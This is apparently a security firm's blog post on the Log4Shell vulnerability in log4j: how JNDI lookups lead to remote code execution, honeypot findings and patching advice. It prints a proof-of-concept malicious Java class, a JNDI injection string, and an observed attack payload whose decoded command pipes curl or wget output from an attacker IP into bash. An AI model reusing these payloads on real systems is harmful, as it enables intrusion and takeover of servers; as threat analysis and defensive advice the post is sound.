CVE-2021-44228 “Log4Shell”

Waarom heeft het cyberlek log4j zo’n grote impact? En belangrijker: hoe kan je een aanval voorkomen én de impact beperken? Nederlands collega Jeroen Niesen vertelt je er in de Engelstalige blog hieronder alles over, inclusief tips om meteen aan de slag te gaan.

On the 10th of December, a new vulnerability (CVE-2021-44228) in log4j was disclosed. Since the report of the vulnerability, news spread across the internet rapidly. Log4j is the preferred logging component for java applications.  If you are running java applications, the chance is big that this application uses log4j as its logging provider. With about 51 billion that run java and log4j as an “industry standard” logging platform, this vulnerability has a big impact.

The vulnerability (CVE-2021-44228) is critical, as it can be exploited from remote by an unauthenticated adversary to execute arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.

Not just logging

How can a logging component have such a big impact? The answer lies in one of the features of log4j. Log4j can be instructed to perform a JNDI lookup. The JNDI API provides discovery and lookup of resources by name and returns the result in the form of serialized Java objects. JNDI provides a Service Provider Interface (SPI) for flexible implementation of the backend naming and directory service protocols. To select the service provider, JNDI follows a URI format allowing provider and name to be specified during the request; for example “${jndi:ldap://example.com/a}”

The LDAP server could return a malicious object like:

public class ExportObject implements javax.naming.spi.ObjectFactory {

public ExportObject() {

Runtime.getRuntime().exec("c:\\windows\\system32\\calc.exe");

}

}

In the above example, a remote code execution attempt, the Windows Calculator is started. Attacker can use this type of remote execution to execute malicious activities (e.g. planting a backdoor, starting e cryto currency miner, starting malware/ransomware, etc.).

The vulnerability can be easily exploited as parameters such as HTTP headers and form fields are logged often in (publicly exposed) web applictaions. Attackers can execute HTTP requests to a webserver with a malicious User-Agent header in it. When this malicious header gets through log4j it will use the JNDI provider to lookup what is in the User-Agent header. The result of the lookup can be java code that executes malware or any other bad software on your environment. 

The demonstrated scenario above is just one of the available scneario’s. Other senario’s such as a data pipeline where the malicious lookups are planted in the data. For example: the lookup is planted earlier by using a front-end application in the database, the pipeline (which uses an application/service that has log4j) could execute the lookup when data processing takes place, and data fields are logged to log4j.

Protecting against log4shell

It is hard to detect and protect from CVE-2021-44228. A common advice is to use a Web Application Firewall to protect your applications from “Log4Shell”. This does protect your environment from some (basic) exploitation of the vulnerability, but this isn’t a full solution because:

• The Log4Shell exploit doesn’t require your application to be publicly accessible. Internal pipelines and services are also affected by this vulnerability.
• There is no simple way to filter out malicious requests because Log4Shell payloads can be nested. (see this Github page).

The best way to protect your environment from Log4Shell is by applying security patches for all applicable software in your environment. An overview of security advisories per vendor can be found here.

Our Findings

Wortell has developed its own Honeypot Network called Vidara HoneyNet. In computer terminology, a honeypot is a computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems. Generally, a honeypot consists of data (for example, in a network site) that appears to be a legitimate part of the site and contain information or resources of value to attackers. It is isolated, monitored, and capable of blocking or analyzing the attackers. This is similar to police sting operations, colloquially known as “baiting” a suspect.

From the 12th of December 2021, Wortell observed multiple attack attempts in Vidara Honeynet. Those attacks were mainly focused around our honeypot that simulates a citrix environment. These attack attempts used a query string parameter that was using the JNDI prodiver with a base64 encoded payload in its lookup value. The intention of this payload is to report a vulnerable server or start a remote shell attack.

The querystring with a payload Wortell observed was:

/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1
cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC9bcmVkYWN0ZWRdOjgwfH
x3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0L1tyZWRhY3RlZF06ODApfGJhc2g=}

The encoded base64 string in the above payload is:

(curl -s 195.54.160.149:5874/[redacted]:80||wget -q -O- 195.54.160.149:5874/[redacted]:80)|bash

The above payload can be used to report a vulnerable server to the adversary or execute a reverse shell attack. A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host.

Our recommendations:

• Get an overview of systems and software using log4j in your environment. This can be a time-consuming task, but you need to know what is impacted before you can execute remediation activities.
• Apply the corresponding security patches for internet-facing software/devices immediately.
• Apply the corresponding security patches for internal software/devices at your earliest convenience
• If patching is not possible for whatever reason, we strongly recommend isolating the system from the Internet and/or disable lookups through JNDI.

Helpful links and sources

• [1] Clear explanation of the exploit: Zero-Day Exploit Targeting Popular Java Library Log4j (govcert.ch)
• [2] Dutch NCC guidance: Kwetsbare Log4j applicaties en te nemen stappen | Nieuwsbericht | Nationaal Cyber Security Centrum (ncsc.nl)
• [3] Microsoft guidance in detecting and responding on this vulnerability:  Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation - Microsoft Security Blog
• [4] IOCs: Log4Shell: Reconnaissance and post exploitation network detection – NCC Group Research
• [5] JDNI queries: Puliczek/CVE-2021-44228-PoC-log4j-bypass-words: 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - A trick to bypass words blocking patches (github.com)

Hulp nodig?

Nog geen Wortell klant, maar wel op zoek naar hulp? Laat je gegevens hieronder achter en we nemen zo snel mogelijk contact met je op.